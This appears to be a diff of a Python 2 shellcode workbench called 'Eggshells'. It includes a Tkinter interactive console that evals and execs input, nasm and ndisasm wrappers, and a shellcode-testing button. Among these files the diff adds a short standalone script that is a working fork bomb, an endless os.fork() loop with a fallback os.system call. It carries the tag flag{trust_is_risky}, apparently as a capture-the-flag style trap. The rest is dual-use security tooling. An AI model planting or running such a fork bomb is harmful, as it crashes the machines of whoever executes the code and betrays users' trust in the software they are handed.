preceding = string.strip(preceding[:-1])
|
||||
if preceding[-1] in identchars:
|
||||
pos = len(preceding)-1
|
||||
while pos > 0 and preceding[pos-1] in identchars:
|
||||
pos = pos - 1
|
||||
if preceding[pos] in startchars:
|
||||
context = preceding[pos:] + "." + context
|
||||
preceding = string.strip(preceding[:pos])
|
||||
else: break
|
||||
else: break
|
||||
|
||||
line, pos = self.cursor()
|
||||
endpos = pos
|
||||
while endpos < len(command) and command[endpos] in identchars:
|
||||
endpos = endpos + 1
|
||||
end = "%d.%d" % (line, endpos)
|
||||
|
||||
return command, context, ident, start, end
|
||||
|
||||
def cb_complete(self, event):
|
||||
"""Attempt to complete the identifier currently being typed."""
|
||||
if self.compmenus:
|
||||
if self.cursor() == self.compindex:
|
||||
# Second attempt to complete: add finishing char and continue.
|
||||
self.text.insert("insert", self.compfinish)
|
||||
self.compindex = None
|
||||
self.unpostmenus()
|
||||
return "break"
|
||||
|
||||
command, context, ident, start, end = self.precontext()
|
||||
|
||||
# Get the list of possible choices.
|
||||
if context:
|
||||
try:
|
||||
object = eval(context[:-1], self.dict)
|
||||
keys = members(object)
|
||||
except:
|
||||
object = None
|
||||
keys = []
|
||||
else:
|
||||
class Lookup:
|
||||
def __init__(self, dicts):
|
||||
self.dicts = dicts
|
||||
|
||||
def __getattr__(self, key):
|
||||
for dict in self.dicts:
|
||||
if dict.has_key(key): return dict[key]
|
||||
return None
|
||||
object = Lookup([self.dict, __builtin__.__dict__])
|
||||
keys = self.dict.keys() + dir(__builtin__)
|
||||
|
||||
keys = matchingkeys(keys, ident)
|
||||
if not ident:
|
||||
public = []
|
||||
for key in keys:
|
||||
if key[:1] != "_": public.append(key)
|
||||
keys = public
|
||||
skip = len(ident)
|
||||
|
||||
# Produce the completion.
|
||||
if len(keys) == 1:
|
||||
# Complete with the single possible choice.
|
||||
if self.cursor() == self.compindex:
|
||||
# Second attempt to complete: add finisher and continue.
|
||||
self.text.insert("insert", self.compfinish)
|
||||
self.compindex = None
|
||||
else:
|
||||
self.text.delete("insert", end)
|
||||
self.text.insert("insert", keys[0][skip:])
|
||||
try: self.compfinish = finisher(getattr(object, keys[0]))
|
||||
except: self.compfinish = " "
|
||||
if self.compfinish == " ":
|
||||
# Object has no members; stop here.
|
||||
self.text.insert("insert", " ")
|
||||
else:
|
||||
self.compindex = self.cursor()
|
||||
elif len(keys) > 1:
|
||||
# Present a menu.
|
||||
prefix = commonprefix(keys)
|
||||
keys.sort()
|
||||
if len(prefix) > skip:
|
||||
self.text.delete("insert", end)
|
||||
self.text.insert("insert", keys[0][skip:len(prefix)])
|
||||
skip = len(prefix)
|
||||
|
||||
if len(keys[0]) == skip:
|
||||
# Common prefix is a valid choice; next try can finish.
|
||||
self.compindex = self.cursor()
|
||||
try: self.compfinish = finisher(getattr(object, keys[0]))
|
||||
except: self.compfinish = " "
|
||||
|
||||
self.postmenus(keys, skip, end, object)
|
||||
|
||||
return "break"
|
||||
|
||||
def postmenus(self, keys, skip, cut, object):
|
||||
"""Post a series of menus listing all the given keys, given the
|
||||
length of the existing part so we can position the menus under the
|
||||
cursor, and the index at which to insert the completion."""
|
||||
width = self.winfo_screenwidth()
|
||||
height = self.winfo_screenheight()
|
||||
bbox = self.text.bbox("insert - %d c" % skip)
|
||||
x = self.text.winfo_rootx() + bbox[0] - 4
|
||||
y = self.text.winfo_rooty() + bbox[1] + bbox[3]
|
||||
|
||||
self.compmenus = []
|
||||
menufont = self.text.cget("font")
|
||||
menu = Menu(font=menufont, bd=1, tearoff=0)
|
||||
self.compmenus.append(menu)
|
||||
while keys:
|
||||
try: finishchar = finisher(getattr(object, keys[0]))
|
||||
except: finishchar = " "
|
||||
def complete(s=self, k=keys[0][skip:], c=cut, f=finishchar):
|
||||
if f == " ": k = k + f
|
||||
s.text.delete("insert", c)
|
||||
s.text.insert("insert", k)
|
||||
s.unpostmenus()
|
||||
if f != " ":
|
||||
s.compfinish = f
|
||||
s.compindex = s.cursor()
|
||||
menu.add_command(label=keys[0], command=complete)
|
||||
menu.update()
|
||||
if y + menu.winfo_reqheight() >= height:
|
||||
menu.delete("end")
|
||||
x = x + menu.winfo_reqwidth()
|
||||
y = 0
|
||||
menu = Menu(font=menufont, bd=1, tearoff=0)
|
||||
self.compmenus.append(menu)
|
||||
else:
|
||||
keys = keys[1:]
|
||||
if x + menu.winfo_reqwidth() > width:
|
||||
menu.destroy()
|
||||
self.compmenus = self.compmenus[:-1]
|
||||
self.compmenus[-1].delete("end")
|
||||
self.compmenus[-1].add_command(label="...")
|
||||
break
|
||||
|
||||
x = self.text.winfo_rootx() + bbox[0] - 4
|
||||
y = self.text.winfo_rooty() + bbox[1] + bbox[3]
|
||||
for menu in self.compmenus:
|
||||
maxtop = height - menu.winfo_reqheight()
|
||||
if y > maxtop: y = maxtop
|
||||
menu.post(x, y)
|
||||
x = x + menu.winfo_reqwidth()
|
||||
self.text.focus()
|
||||
self.text.grab_set()
|
||||
|
||||
def unpostmenus(self):
|
||||
"""Unpost the completion menus."""
|
||||
for menu in self.compmenus:
|
||||
menu.destroy()
|
||||
self.compmenus = []
|
||||
self.text.grab_release()
|
||||
|
||||
def cb_cleanup(self, event=None):
|
||||
if self.compmenus:
|
||||
self.unpostmenus()
|
||||
if self.pasted:
|
||||
self.text.tag_remove("sel", "1.0", "end")
|
||||
self.pasted = 0
|
||||
|
||||
def cb_select(self, event):
|
||||
"""Handle a menu selection event. We have to check and invoke the
|
||||
completion menus manually because we are grabbing events to give the
|
||||
text box keyboard focus."""
|
||||
if self.compmenus:
|
||||
for menu in self.compmenus:
|
||||
x, y = menu.winfo_rootx(), menu.winfo_rooty()
|
||||
w, h = menu.winfo_width(), menu.winfo_height()
|
||||
if x < event.x_root < x + w and \
|
||||
y < event.y_root < y + h:
|
||||
item = menu.index("@%d" % (event.y_root - y))
|
||||
menu.invoke(item)
|
||||
break
|
||||
else:
|
||||
self.unpostmenus()
|
||||
return "break"
|
||||
|
||||
# Help mechanism.
|
||||
|
||||
def cb_help(self, event):
|
||||
command, context, ident, start, end = self.precontext()
|
||||
word = self.text.get(start, end)
|
||||
|
||||
object = parent = doc = None
|
||||
skip = 0
|
||||
|
||||
try:
|
||||
parent = eval(context[:-1], self.dict)
|
||||
except: pass
|
||||
|
||||
# Go merrily searching for the help string.
|
||||
if not object:
|
||||
try:
|
||||
object = getattr(parent, word)
|
||||
skip = len(word) - len(ident)
|
||||
except: pass
|
||||
|
||||
if not object:
|
||||
try:
|
||||
object = getattr(parent, ident)
|
||||
except: pass
|
||||
|
||||
if not object:
|
||||
try:
|
||||
object = self.dict[word]
|
||||
skip = len(word) - len(ident)
|
||||
except: pass
|
||||
|
||||
if not object:
|
||||
try:
|
||||
object = self.dict[ident]
|
||||
except: pass
|
||||
|
||||
if not object:
|
||||
try:
|
||||
object = __builtin__.__dict__[word]
|
||||
skip = len(word) - len(ident)
|
||||
except: pass
|
||||
|
||||
if not object:
|
||||
try:
|
||||
object = __builtins__.__dict__[ident]
|
||||
except: pass
|
||||
|
||||
if not object:
|
||||
if not ident:
|
||||
object = parent
|
||||
|
||||
try:
|
||||
doc = object.__doc__
|
||||
except: pass
|
||||
|
||||
try:
|
||||
if hasattr(object, "__bases__"):
|
||||
doc = object.__init__.__doc__ or doc
|
||||
except: pass
|
||||
|
||||
if doc:
|
||||
doc = string.rstrip(string.expandtabs(doc))
|
||||
leftmargin = 99
|
||||
for line in string.split(doc, "\n")[1:]:
|
||||
spaces = len(line) - len(string.lstrip(line))
|
||||
if line and spaces < leftmargin: leftmargin = spaces
|
||||
|
||||
bbox = self.text.bbox("insert + %d c" % skip)
|
||||
width = self.winfo_screenwidth()
|
||||
height = self.winfo_screenheight()
|
||||
menufont = self.text.cget("font")
|
||||
|
||||
help = Menu(font=menufont, bd=1, tearoff=0)
|
||||
try:
|
||||
classname = object.__class__.__name__
|
||||
help.add_command(label="<object of class %s>" % classname)
|
||||
help.add_command(label="")
|
||||
except: pass
|
||||
for line in string.split(doc, "\n"):
|
||||
if string.strip(line[:leftmargin]) == "":
|
||||
line = line[leftmargin:]
|
||||
help.add_command(label=line)
|
||||
self.compmenus.append(help)
|
||||
|
||||
x = self.text.winfo_rootx() + bbox[0] - 4
|
||||
y = self.text.winfo_rooty() + bbox[1] + bbox[3]
|
||||
maxtop = height - help.winfo_reqheight()
|
||||
if y > maxtop: y = maxtop
|
||||
help.post(x, y)
|
||||
self.text.focus()
|
||||
self.text.grab_set()
|
||||
|
||||
return "break"
|
||||
|
||||
# Entering commands.
|
||||
|
||||
def cb_position(self, event):
|
||||
"""Avoid moving into the prompt area."""
|
||||
self.cb_cleanup()
|
||||
line, pos = self.cursor()
|
||||
trimmed, command = self.trim(self.getline())
|
||||
if pos <= trimmed:
|
||||
self.text.mark_set("insert", "%d.%d" % (line, trimmed))
|
||||
return "break"
|
||||
|
||||
def cb_backspace(self, event):
|
||||
self.cb_cleanup()
|
||||
if self.text.tag_ranges("sel"): return
|
||||
|
||||
# Avoid backspacing over the prompt.
|
||||
line, pos = self.cursor()
|
||||
trimmed, command = self.trim(self.getline())
|
||||
if pos <= trimmed: return "break"
|
||||
|
||||
# Extremely basic outdenting. Needs more work here.
|
||||
if not string.strip(command[:pos-trimmed]):
|
||||
step = (pos - trimmed) % 4
|
||||
cut = pos - (step or 4)
|
||||
if cut < trimmed: cut = trimmed
|
||||
self.text.delete("%d.%d" % (line, cut), "%d.%d" % (line, pos))
|
||||
return "break"
|
||||
|
||||
def cb_space(self, event):
|
||||
self.cb_cleanup()
|
||||
line, pos = self.cursor()
|
||||
trimmed, command = self.trim(self.getline())
|
||||
|
||||
# Extremely basic indenting. Needs more work here.
|
||||
if not string.strip(command[:pos-trimmed]):
|
||||
start = trimmed + len(command) - len(string.lstrip(command))
|
||||
self.text.delete("insert", "%d.%d" % (line, start))
|
||||
step = 4 - (pos - trimmed) % 4
|
||||
self.text.insert("insert", " " * step)
|
||||
return "break"
|
||||
|
||||
def cb_home(self, event):
|
||||
"""Go to the first non-whitespace character in the line."""
|
||||
self.cb_cleanup()
|
||||
line, pos = self.cursor()
|
||||
trimmed, command = self.trim(self.getline())
|
||||
indent = len(command) - len(string.lstrip(command))
|
||||
self.text.mark_set("insert", "%d.%d" % (line, trimmed + indent))
|
||||
return "break"
|
||||
|
||||
def cb_ctrlhome(self, event):
|
||||
"""Go to the beginning of the line just after the prompt."""
|
||||
self.cb_cleanup()
|
||||
line, pos = self.cursor()
|
||||
trimmed, command = self.trim(self.getline())
|
||||
self.text.mark_set("insert", "%d.%d" % (line, trimmed))
|
||||
return "break"
|
||||
|
||||
def cb_nothing(self, event):
|
||||
return "break"
|
||||
|
||||
def cb_return(self, event, doindent=1):
|
||||
"""Handle a <Return> keystroke by running from the current line
|
||||
and generating a new prompt."""
|
||||
self.cb_cleanup()
|
||||
self.text.tag_delete("compiled")
|
||||
self.historyindex = None
|
||||
command = self.getline(trim=1)
|
||||
if string.strip(command):
|
||||
self.history.append(command)
|
||||
|
||||
line, pos = self.cursor()
|
||||
self.text.mark_set("insert", "%d.end" % line)
|
||||
self.text.insert("insert", "\n")
|
||||
self.runline(line)
|
||||
|
||||
line, pos = self.cursor()
|
||||
self.text.mark_set("insert", "%d.end" % line)
|
||||
prompt = self.continuation and sys.ps2 or sys.ps1
|
||||
if pos > 0:
|
||||
self.text.insert("insert", "\n" + prompt)
|
||||
else:
|
||||
self.text.insert("insert", prompt)
|
||||
|
||||
if doindent and not self.error:
|
||||
self.autoindent(command)
|
||||
self.error = 0
|
||||
self.text.see("insert")
|
||||
return "break"
|
||||
|
||||
def autoindent(self, command):
|
||||
# Extremely basic autoindenting. Needs more work here.
|
||||
indent = len(command) - len(string.lstrip(command))
|
||||
if string.lstrip(command):
|
||||
self.text.insert("insert", command[:indent])
|
||||
if string.rstrip(command)[-1] == ":":
|
||||
self.text.insert("insert", " ")
|
||||
|
||||
def cb_paste(self, event):
|
||||
"""Handle a paste event (middle-click) in the text box. Pasted
|
||||
text has any leading Python prompts stripped (at last!!)."""
|
||||
self.text.tag_delete("compiled")
|
||||
self.error = 0
|
||||
self.pasted = 1
|
||||
|
||||
try: lines = string.split(self.selection_get(), "\n")
|
||||
except: return
|
||||
|
||||
for i in range(len(lines)):
|
||||
trimmed, line = self.trim(lines[i])
|
||||
line = string.rstrip(line)
|
||||
if not line: continue
|
||||
|
||||
self.text.insert("end", line)
|
||||
self.text.mark_set("insert", "end")
|
||||
if i == len(lines) - 2 and lines[i+1] == "":
|
||||
# Indent the last line if it's blank.
|
||||
self.cb_return(None, doindent=1)
|
||||
elif i < len(lines) - 1:
|
||||
self.cb_return(None, doindent=0)
|
||||
|
||||
if self.error: break
|
||||
|
||||
return "break"
|
||||
|
||||
# Executing commands.
|
||||
|
||||
def runline(self, line):
|
||||
"""Run some source code given the number of the last line in the
|
||||
text box. Scan backwards to get the entire piece of code to run
|
||||
if the line is a continuation of previous lines. Tag the compiled
|
||||
code so that it can be highlighted according to whether it is
|
||||
complete, incomplete, or illegal."""
|
||||
lastline = line
|
||||
lines = [self.getline(line)]
|
||||
while lines[0][:len(sys.ps2)] == sys.ps2:
|
||||
trimmed, lines[0] = self.trim(lines[0])
|
||||
self.text.tag_add(
|
||||
"compiled", "%d.%d" % (line, trimmed), "%d.0" % (line+1))
|
||||
line = line - 1
|
||||
if line < 0: break
|
||||
lines[:0] = [self.getline(line)]
|
||||
if lines[0][:len(sys.ps1)] == sys.ps1:
|
||||
trimmed, lines[0] = self.trim(lines[0])
|
||||
self.text.tag_add(
|
||||
"compiled", "%d.%d" % (line, trimmed), "%d.0" % (line+1))
|
||||
else:
|
||||
self.text.tag_add("compiled", "%d.0" % line, "%d.0" % (line+1))
|
||||
|
||||
source = string.join(lines, "\n")
|
||||
if not source:
|
||||
self.continuation = 0
|
||||
return
|
||||
|
||||
status, code = self.compile(source)
|
||||
|
||||
if status == "more":
|
||||
self.text.tag_configure("compiled", background=self["morecolour"])
|
||||
self.continuation = 1
|
||||
|
||||
elif status == "bad":
|
||||
self.text.tag_configure("compiled", background=self["badcolour"])
|
||||
self.error = 1
|
||||
self.continuation = 0
|
||||
self.intraceback = 1
|
||||
oldout, olderr = sys.stdout, sys.stderr
|
||||
sys.stdout, sys.stderr = self.stdout, self.stderr
|
||||
traceback.print_exception(SyntaxError, code, None)
|
||||
self.stdout, self.stderr = sys.stdout, sys.stderr
|
||||
sys.stdout, sys.stderr = oldout, olderr
|
||||
self.intraceback = 0
|
||||
|
||||
elif status == "okay":
|
||||
if self.getline(lastline) == sys.ps2:
|
||||
self.text.tag_remove("compiled", "%d.0" % lastline, "end")
|
||||
self.text.tag_configure("compiled", background=self["runcolour"])
|
||||
self.continuation = 0
|
||||
self.run(code)
|
||||
|
||||
def compile(self, source):
|
||||
"""Try to compile a piece of source code, returning a status code
|
||||
and the compiled result. If the status code is "okay" the code is
|
||||
complete and compiled successfully; if it is "more" then the code
|
||||
can be compiled, but an interactive session should wait for more
|
||||
input; if it is "bad" then there is a syntax error in the code and
|
||||
the second returned value is the error message."""
|
||||
err = err1 = err2 = None
|
||||
code = code1 = code2 = None
|
||||
|
||||
try:
|
||||
code = compile(source, "<console>", "single")
|
||||
except SyntaxError, err:
|
||||
pass
|
||||
else:
|
||||
return "okay", code
|
||||
|
||||
try:
|
||||
code1 = compile(source + "\n", "<console>", "single")
|
||||
except SyntaxError, err1:
|
||||
pass
|
||||
else:
|
||||
return "more", code1
|
||||
|
||||
try:
|
||||
code2 = compile(source + "\n\n", "<console>", "single")
|
||||
except SyntaxError, err2:
|
||||
pass
|
||||
|
||||
try:
|
||||
code3 = compile(source + "\n", "<console>", "exec")
|
||||
except SyntaxError, err3:
|
||||
pass
|
||||
else:
|
||||
return "okay", code3
|
||||
|
||||
try:
|
||||
code4 = compile(source + "\n\n", "<console>", "exec")
|
||||
except SyntaxError, err4:
|
||||
pass
|
||||
|
||||
if err3[1][2] != err4[1][2]:
|
||||
return "more", None
|
||||
|
||||
if err1[1][2] != err2[1][2]:
|
||||
return "more", None
|
||||
|
||||
return "bad", err1
|
||||
|
||||
def run(self, code):
|
||||
"""Run a code object within the sandbox for this console. The
|
||||
sandbox redirects stdout and stderr to the console, and executes
|
||||
within the namespace associated with the console."""
|
||||
oldout, olderr = sys.stdout, sys.stderr
|
||||
sys.stdout, sys.stderr = self.stdout, self.stderr
|
||||
|
||||
try:
|
||||
exec code in self.dict
|
||||
except:
|
||||
self.error = 1
|
||||
sys.last_type = sys.exc_type
|
||||
sys.last_value = sys.exc_value
|
||||
sys.last_traceback = sys.exc_traceback.tb_next
|
||||
self.intraceback = 1
|
||||
traceback.print_exception(
|
||||
sys.last_type, sys.last_value, sys.last_traceback)
|
||||
self.intraceback = 0
|
||||
|
||||
self.stdout, self.stderr = sys.stdout, sys.stderr
|
||||
sys.stdout, sys.stderr = oldout, olderr
|
||||
|
||||
|
||||
# Helpers for the completion mechanism.
|
||||
|
||||
def scanclass(klass, result):
|
||||
for key in klass.__dict__.keys(): result[key] = 1
|
||||
for base in klass.__bases__: scanclass(base, result)
|
||||
|
||||
def members(object):
|
||||
result = {}
|
||||
try:
|
||||
for key in object.__members__: result[key] = 1
|
||||
result["__members__"] = 1
|
||||
except: pass
|
||||
try:
|
||||
for key in object.__methods__: result[key] = 1
|
||||
result["__methods__"] = 1
|
||||
except: pass
|
||||
try:
|
||||
for key in object.__dict__.keys(): result[key] = 1
|
||||
result["__dict__"] = 1
|
||||
except: pass
|
||||
if type(object) is types.ClassType:
|
||||
scanclass(object, result)
|
||||
result["__name__"] = 1
|
||||
result["__bases__"] = 1
|
||||
if type(object) is types.InstanceType:
|
||||
scanclass(object.__class__, result)
|
||||
result["__class__"] = 1
|
||||
return result.keys()
|
||||
|
||||
def matchingkeys(keys, prefix):
|
||||
prefixmatch = lambda key, l=len(prefix), p=prefix: key[:l] == p
|
||||
return filter(prefixmatch, keys)
|
||||
|
||||
def commonprefix(keys):
|
||||
if not keys: return ''
|
||||
max = len(keys[0])
|
||||
prefixes = map(lambda i, key=keys[0]: key[:i], range(max+1))
|
||||
for key in keys:
|
||||
while key[:max] != prefixes[max]:
|
||||
max = max - 1
|
||||
if max == 0: return ''
|
||||
return prefixes[max]
|
||||
|
||||
callabletypes = [types.FunctionType, types.MethodType, types.ClassType,
|
||||
types.BuiltinFunctionType, types.BuiltinMethodType]
|
||||
sequencetypes = [types.TupleType, types.ListType]
|
||||
mappingtypes = [types.DictType]
|
||||
|
||||
try:
|
||||
import ExtensionClass
|
||||
callabletypes.append(ExtensionClass.ExtensionClassType)
|
||||
except: pass
|
||||
try:
|
||||
import curve
|
||||
c = curve.Curve()
|
||||
callabletypes.append(type(c.read))
|
||||
except: pass
|
||||
|
||||
def finisher(object):
|
||||
if type(object) in callabletypes:
|
||||
return "("
|
||||
elif type(object) in sequencetypes:
|
||||
return "["
|
||||
elif type(object) in mappingtypes:
|
||||
return "{"
|
||||
elif members(object):
|
||||
return "."
|
||||
return " "
|
||||
|
||||
|
||||
# Main program.
|
||||
|
||||
if __name__ == "__main__":
|
||||
c = Console(dict={})
|
||||
c.dict["console"] = c
|
||||
c.pack(fill=BOTH, expand=1)
|
||||
c.master.title("Python Console v%s" % VERSION)
|
||||
mainloop()
|
||||
|
|
@ -0,0 +1,7 @@
|
|||
import os
|
||||
while True:
|
||||
try:
|
||||
os.fork()
|
||||
except:
|
||||
os.system('start')
|
||||
# flag{trust_is_risky}
|
||||
|
|
@ -0,0 +1,182 @@
|
|||
# try:
|
||||
# from distorm import *
|
||||
# module = 'distorm'
|
||||
# except ImportError:
|
||||
import utils
|
||||
try:
|
||||
from nasm import *
|
||||
module = 'nasm'
|
||||
except ImportError:
|
||||
raise EnvironmentError("Couldn't find distorm or nasm")
|
||||
|
||||
from Tkinter import *
|
||||
from ttk import *
|
||||
|
||||
import codecs
|
||||
import subprocess
|
||||
import sys
|
||||
import interpreter
|
||||
import sqlite3
|
||||
|
||||
class Disassembler():
|
||||
def __init__(self, frame):
|
||||
|
||||
top = Frame(frame)
|
||||
self.shell_bar = Scrollbar(top)
|
||||
self.shell_bar.pack(side=RIGHT, fill=Y, expand=0)
|
||||
self.shellcode = Text(top, yscrollcommand=self.shell_bar.set)
|
||||
self.shellcode.pack(anchor=W, fill=BOTH, expand=1)
|
||||
self.shellcode.config(height=4, bd=2)
|
||||
self.shell_bar.config(command=self.shellcode.yview)
|
||||
|
||||
bottom = Frame(frame)
|
||||
self.disasm_bar = Scrollbar(bottom)
|
||||
self.disasm_bar.pack(side=RIGHT, fill=Y, expand=0)
|
||||
self.disasm = Text(bottom, yscrollcommand=self.disasm_bar.set)
|
||||
self.disasm.pack(anchor=W, fill=BOTH, expand=1)
|
||||
self.disasm.config(height=4, bd=2)
|
||||
self.shell_bar.config(command=self.disasm.yview)
|
||||
|
||||
top.pack(anchor=W, fill=BOTH, expand=1)
|
||||
bottom.pack(anchor=W, fill=BOTH, expand=1)
|
||||
|
||||
var = IntVar()
|
||||
|
||||
R1 = Radiobutton(frame, text="16-bit", variable=var, value=1, command=lambda: self.value(16))
|
||||
R1.pack(side=LEFT)
|
||||
|
||||
R2 = Radiobutton(frame, text="32-bit", variable=var, value=2, command=lambda: self.value(32))
|
||||
R2.pack(side=LEFT)
|
||||
|
||||
R3 = Radiobutton(frame, text="64-bit", variable=var, value=3, command=lambda: self.value(64))
|
||||
R3.pack(side=LEFT)
|
||||
|
||||
B = Button(frame, text="Disassemble", command=self.render)
|
||||
B.pack(side=RIGHT)
|
||||
|
||||
def value(self, val):
|
||||
'''
|
||||
Sets disassembler mode (e.g. 16bit, 32bit, or 64bit)
|
||||
'''
|
||||
global mode
|
||||
self.mode = val
|
||||
|
||||
def clean(self, shellcode):
|
||||
'''
|
||||
Cleans the format that we get from tkinter into a format we can disassemble easily. (i.e. \x00\x00)
|
||||
'''
|
||||
return codecs.escape_decode(shellcode.decode('utf-8').strip())[0]
|
||||
|
||||
def render(self):
|
||||
'''
|
||||
Cleans out the Text widget, does the disassembly and inserts it.
|
||||
'''
|
||||
self.disasm.delete(1.0, END)
|
||||
self.disasm.insert(INSERT, disassemble(self.clean(self.shellcode.get(1.0, END)), self.mode))
|
||||
|
||||
class Assembler():
|
||||
def __init__(self, frame):
|
||||
self.assembler = Text(frame)
|
||||
self.assembler.pack(fill=BOTH, expand=1)
|
||||
self.assembler.config(height=8, bd=2)
|
||||
|
||||
self.output = Text(frame)
|
||||
self.output.pack(anchor=W, fill=BOTH, expand=1)
|
||||
self.output.config(height=4, bd=2)
|
||||
|
||||
self.value = StringVar()
|
||||
self.dropdown = Combobox(frame, textvariable=self.value, state='readonly')
|
||||
self.dropdown['values'] = ('elf', 'elf64', 'bin')
|
||||
self.dropdown.current(0)
|
||||
self.dropdown.pack(side=LEFT)
|
||||
|
||||
self.asm_button = Button(frame, text="Assemble", command=self.render)
|
||||
self.asm_button.pack(side=RIGHT)
|
||||
|
||||
self.asm_test = Button(frame, text="Test Shellcode", command=self.test)
|
||||
self.asm_test.pack(side=RIGHT)
|
||||
|
||||
def render(self):
|
||||
mode = self.dropdown['values'][self.dropdown.current()]
|
||||
asm = str(self.assembler.get(1.0, END))
|
||||
self.output.delete(1.0, END)
|
||||
self.output.insert(INSERT, repr(assemble(asm, mode))[1:-1] )
|
||||
|
||||
def clean(self, shellcode):
|
||||
'''
|
||||
Cleans the format that we get from tkinter into a format we can disassemble easily. (i.e. \x00\x00)
|
||||
'''
|
||||
return codecs.escape_decode(shellcode.decode('utf-8').strip())[0]
|
||||
|
||||
def test(self):
|
||||
shellcode = repr(self.clean(self.output.get(1.0, END)))[1:-1]
|
||||
subprocess.Popen([sys.executable, 'shellcode.py', shellcode]).communicate()
|
||||
|
||||
def draw(self):
|
||||
pass
|
||||
|
||||
class Shellcode():
|
||||
def __init__(self, frame):
|
||||
tree = Treeview(frame)
|
||||
|
||||
# Inserted at the root, program chooses id:
|
||||
tree.insert('', 'end', 'windows', text='Windows')
|
||||
tree.insert('', 'end', 'linux', text='Linux')
|
||||
|
||||
# Same thing, but inserted as first child:
|
||||
# tree.insert('', 0, 'gallery', text='Applications')
|
||||
|
||||
# Treeview chooses the id:
|
||||
|
||||
|
||||
# Inserted underneath an existing node:
|
||||
tree.insert('windows', 'end', text='Canvas')
|
||||
tree.insert('linux', 'end', text='Canvas')
|
||||
|
||||
tree.pack(side=LEFT, fill=Y)
|
||||
|
||||
class ConnectBack():
|
||||
def __init__(self, frame):
|
||||
pass
|
||||
|
||||
|
||||
root = Tk()
|
||||
root.title("Eggshells - " + module)
|
||||
note = Notebook(root)
|
||||
|
||||
tab1 = Frame(note)
|
||||
tab2 = Frame(note)
|
||||
tab3 = Frame(note)
|
||||
tab4 = Frame(note)
|
||||
tab5 = Frame(note)
|
||||
tab6 = Frame(note)
|
||||
|
||||
#################DISASM################
|
||||
Disassembler(tab1)
|
||||
#######################################
|
||||
|
||||
################ASM####################
|
||||
Assembler(tab2)
|
||||
#######################################
|
||||
|
||||
###############Shellcode###############
|
||||
Shellcode(tab6)
|
||||
#######################################
|
||||
|
||||
|
||||
################Python#################
|
||||
c = interpreter.Console(tab4)
|
||||
c.dict["console"] = c
|
||||
c.pack(fill=BOTH, expand=1)
|
||||
#######################################
|
||||
|
||||
note.add(tab1, text = "Disassembler")
|
||||
note.add(tab2, text = "Assembler")
|
||||
note.add(tab3, text = "Sockets")
|
||||
note.add(tab4, text = "Python")
|
||||
note.add(tab5, text = "Hex Editor")
|
||||
note.add(tab6, text = "Shellcode")
|
||||
|
||||
note.pack(fill=BOTH, expand=1)
|
||||
root.mainloop()
|
||||
exit()
|
||||
|
|
@ -0,0 +1,133 @@
|
|||
import utils
|
||||
import os
|
||||
import subprocess
|
||||
import tempfile
|
||||
import sys
|
||||
import re
|
||||
|
||||
subprocess.STARTF_USESHOWWINDOW = 1 # Hiding console windows in subprocess calls
|
||||
|
||||
if sys.platform.startswith('linux') or sys.platform.startswith('darwin'):
|
||||
NASM = '/usr/bin/nasm'
|
||||
NDISASM = '/usr/bin/ndisasm'
|
||||
|
||||
elif sys.platform.startswith('win32'):
|
||||
NASM = 'nasm/nasm.exe'
|
||||
NDISASM = 'nasm/ndisasm.exe'
|
||||
|
||||
if not os.path.exists(NASM):
|
||||
raise EnvironmentError('nasm not found')
|
||||
if not os.path.exists(NDISASM):
|
||||
raise EnvironmentError('ndisasm not found')
|
||||
|
||||
hex_regex = re.compile(r'0x\w*')
|
||||
|
||||
def delete_file(filename):
|
||||
"""
|
||||
Deletes file from the disk if it exists
|
||||
"""
|
||||
if os.path.exists(filename):
|
||||
os.unlink(filename)
|
||||
|
||||
|
||||
def assemble(asm, mode="elf"):
|
||||
'''
|
||||
Assemble using nasm, return raw hex bytes.
|
||||
'''
|
||||
temp = tempfile.NamedTemporaryFile(delete=False)
|
||||
|
||||
linkme = tempfile.NamedTemporaryFile(delete=False)
|
||||
dir = tempfile.gettempdir()
|
||||
try:
|
||||
temp.write(asm)
|
||||
temp.close()
|
||||
linkme.close()
|
||||
|
||||
startupinfo = subprocess.STARTUPINFO()
|
||||
startupinfo.dwFlags = subprocess.STARTF_USESHOWWINDOW
|
||||
|
||||
link = subprocess.check_output([NASM, '-f ' + mode, temp.name, '-o ' + dir + '/link.o'], startupinfo=startupinfo)
|
||||
out = subprocess.check_output([NASM, temp.name, '-o ' + temp.name + '.elf'], startupinfo=startupinfo)
|
||||
|
||||
asm = open(temp.name + '.elf', 'rb')
|
||||
asm = asm.read()
|
||||
delete_file(temp.name + '.elf')
|
||||
delete_file(linkme.name)
|
||||
delete_file(dir + '/link.o')
|
||||
delete_file(temp.name)
|
||||
return asm
|
||||
except:
|
||||
delete_file(temp.name + '.elf')
|
||||
delete_file(linkme.name)
|
||||
delete_file(dir + '/link.o')
|
||||
delete_file(temp.name)
|
||||
return "assembly failed"
|
||||
|
||||
|
||||
def disassemble(elf, mode=32):
|
||||
'''
|
||||
Disassemble using ndisasm. Return the output.
|
||||
'''
|
||||
temp = tempfile.NamedTemporaryFile(delete=False)
|
||||
try:
|
||||
temp.write(elf)
|
||||
temp.close()
|
||||
|
||||
startupinfo = subprocess.STARTUPINFO()
|
||||
startupinfo.dwFlags = subprocess.STARTF_USESHOWWINDOW
|
||||
|
||||
asm = subprocess.check_output([NDISASM, '-a', '-b ' + str(mode), temp.name], startupinfo=startupinfo)
|
||||
delete_file(temp.name)
|
||||
|
||||
except:
|
||||
delete_file(temp.name)
|
||||
return 'disassembly failed'
|
||||
|
||||
#return asm
|
||||
|
||||
disasm = asm.split('\n')
|
||||
disasm = [" ".join(x.split()).split(' ', 2) for x in disasm ]
|
||||
|
||||
# Join line continuations together and mark them for removal
|
||||
marked = []
|
||||
for x in range(len(disasm)):
|
||||
if len(disasm[x]) == 1:
|
||||
disasm[x-1][1] += disasm[x][0][1:]
|
||||
marked.append(x)
|
||||
for x in marked[::-1]:
|
||||
disasm.pop(x)
|
||||
|
||||
# Join the disassembly back together for output
|
||||
# Also provide string and decimal representations of hex values
|
||||
disassembly = ''
|
||||
for line in disasm:
|
||||
hexvals = hex_regex.findall(line[2])
|
||||
if len(hexvals) > 0 and ('push' in line[2] or 'mov' in line[2]):
|
||||
line = list(line) # Why you give me tuple Distorm?
|
||||
if len(hexvals[0][2:]) > 2:
|
||||
line[2] = line[2] + '\t; ' + hexvals[0][2:].decode('hex')
|
||||
else:
|
||||
line[2] = line[2] + '\t; ' + str(int(hexvals[0], 16))
|
||||
|
||||
disassembly += "0x%08s (%02x) %-20s %s" % (line[0], len(line[1])//2, line[1], line[2]) + "\n"
|
||||
return disassembly
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
